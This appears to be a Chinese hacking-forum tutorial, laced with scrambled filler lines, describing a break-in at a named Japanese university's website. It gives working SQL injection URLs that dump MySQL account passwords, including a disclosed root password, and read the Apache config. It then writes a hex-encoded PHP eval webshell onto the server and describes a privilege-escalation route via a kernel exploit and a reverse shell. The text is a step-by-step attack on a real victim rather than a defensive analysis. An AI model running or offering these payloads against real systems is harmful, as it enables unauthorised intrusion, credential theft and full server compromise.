入侵日本同志社大学技术分析
" @$ m; r8 `( M( r0 F0 c. l6 P1 L- \. F1 N) U
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
; T- ^! p; P9 V6 V# _; W* \ m3 ]然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
" ? D) `3 \4 _6 O% c! u `" A4 Y9 c! w3 P: C: X! n
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user0 [# c7 r1 L( X# s9 ]5 a! i
( J# ^* U6 G( d( G( H( m5 r
# l+ a% A: E8 l1 ?( N- b! G- \, l) l
//@@datadir为数据库文件路径 2 g# h# q# P1 F; J: [' [+ q. f0 z
) X/ V, n* w/ O$ [3 ]& S/ v1 b* h6 R5 Q: N" {! a6 y
//load_file读取网站容器apache的配置文件 2 A0 C+ L) W. ^% h a, N
, O: d+ L6 T' \" i
) J% ~$ [2 s8 W: R+ M' ^2 D//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - h) A7 N9 x8 b
复制代码. @7 Q5 M; s5 _& p
! k, w! j7 ~+ y9 ~0 D
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
4 _( T1 n" J' I# b% h& s" A# b0 J: c9 n% i8 k I
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。4 V/ l3 v# c. _" B5 E
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
4 b" _3 U* x/ G# }9 j
. ~6 v! T( |7 [) j* Q# u7 Q6 _前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
% W4 ?* R/ Y, q! h: }0 r如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html# W4 b$ A# R/ A1 \
+ Z* y& Y: V; I ^
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
o+ X- k6 ]) K' |. {( n3 ~虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。3 V G0 v1 I3 p4 C0 N2 H; r6 Q; K
直接写一句话:
: y0 x9 \" ]& i# `) Y
2 v# x3 h$ d" `6 P2 i! N7 T, Dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#. d1 ~! W# h9 \2 T# P: t% ~
0 f- l1 r4 Z' A+ I0 G 0 j" o- u$ ?3 Y7 _
. E9 Q7 ~! t# Z7 E$ I1 @. [$ X6 L- ?//最后的#是为了闭合前面的语句
, q% i* u% ~ c4 y1 K4 a 2 h0 d8 y. F% u {+ Q: A) L+ y
1 f( I7 q7 w3 W# {$ v
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ) ]8 i1 B3 i1 x% r i# u- n& x
) }6 V Q d4 n& Z4 U! \( b1 t1 W/ {& [ w% B8 ^0 {' T
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 2 K/ @# c9 u1 d: w
0 P" _! A% Y6 _; {( z) e0 P! S6 W- x6 i
/ o& r, M' u/ S% e7 \' ^3 p
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
6 g5 y! E; b+ _. T) }8 U: O5 D( Z7 _ # y# E; w1 P( E, Z
5 J$ b p3 ?6 B- W: @
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 7 q: F1 T) H/ y) k6 F3 p0 b
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
/ C* @- C5 p& i# n复制代码% ?! r* h+ ?, L0 S; I3 P
! m Y" z! Z4 |. UHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
2 M. P9 [/ K$ v+ f8 \0 F/ K通过上述注入语句,我们就得到了一句话木马:
: x P S) ]. N& w. X% J5 N! n! q* r% q
/ ~2 A! J/ P6 J g% _0 z; h( l8 G, Z; i$ x
, q, `. V5 p2 A; L' @
j W8 M1 j9 khttp://www.doshisha.ac.jp/english/engnews_img/aa.php 2 g+ l& T6 c. z1 H
复制代码7 ~/ D6 Z& ?* s5 r) r& I D
$ t1 M; |% @" x$ d) U
用菜刀连接,密码是cmd,如图所示: x4 q1 o+ F* G2 \) j9 f0 ^
然后在命令提示行里看了一下,现在的权限是:
6 g, h% S7 f8 p3 `5 K* v; f2 b
' J D, Q- g5 c U' V之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。 p9 Y; Q0 i) @& ?6 S
好在赋权给这个文件夹不需要root,直接执行赋权语句:
! t, `1 V& B6 B0 g
B* f* n) b! e# L, S; C
3 W" K( n l' J4 j
6 T) L5 z- n) Y$ j; f 3 y. `2 s! ^" m8 M C0 \9 M
; F2 m% y- \+ s( z( Nchmod +x /tmp/ ( t, C0 h4 M! K& x; y
复制代码
$ ]/ {! i6 C7 U. f1 [# b9 ^" f* t7 V M1 |7 }. w
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ V, W" _" m7 u1 @! `2 L9 z' j: E, V
然后就查了一下内核版本:
4 B% f/ h/ M) I2 l! I5 V$ \
/ \) l0 a4 A& x$ {
6 i9 ^0 }6 y; R# H; f" W% X& U' f
& O2 m! r( ^5 e
! s: X- q) x% E, @
( H3 ]7 ]9 P' } f, y% }# [! J% quname-a
6 Y: x2 u' C! H0 ?# v ( f8 o% K8 j0 f2 ^5 z" h s$ j
$ A, ?% E% u2 }# N1 L
//其实lsb_release -a 2 n% z3 S& g. [1 a, Z
复制代码
: K9 @% c6 m$ g# z
8 u- n8 r1 n7 x如图所示:
% U& E! M4 s i. x1 Q( D( p5 Q& \9 w) p
内核版本:linux mainz1 2.6.28-194.e15
/ O" e4 R# O* E: W; t% v6 J9 ]: X5 |系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
+ o" u- X# [8 V* P8 D# z* C查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
' ^; q" b V* W6 }5 a" p1 i! J% _; W# R/ Q- x8 Y
然后给予执行权限
4 L. v: a6 \9 R/ e' Z6 z一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样$ h- P. a, H) K) T. s S. C% v, V0 h
% u+ x8 d. ]5 u
1 r9 Y9 R0 C; v( i- C
/ ^6 L% X5 S0 Q
# W& x6 H) @% J: `$ A: O. g( c- m
chmod +x /tmp/2.6.18-194
( a! J. a% J" w" e1 x' f0 U1 q复制代码 然后直接执行!~+ _7 Z4 ~6 _' w" m
; ~5 c7 l- o0 P* q. h总结:
* p; j" e4 M/ a2 x这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
6 ~# z4 b+ U) ?$ m提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
8 }. x% t. A; ~+ i: Q, m$ p9 o% Y1 T4 R# Q
|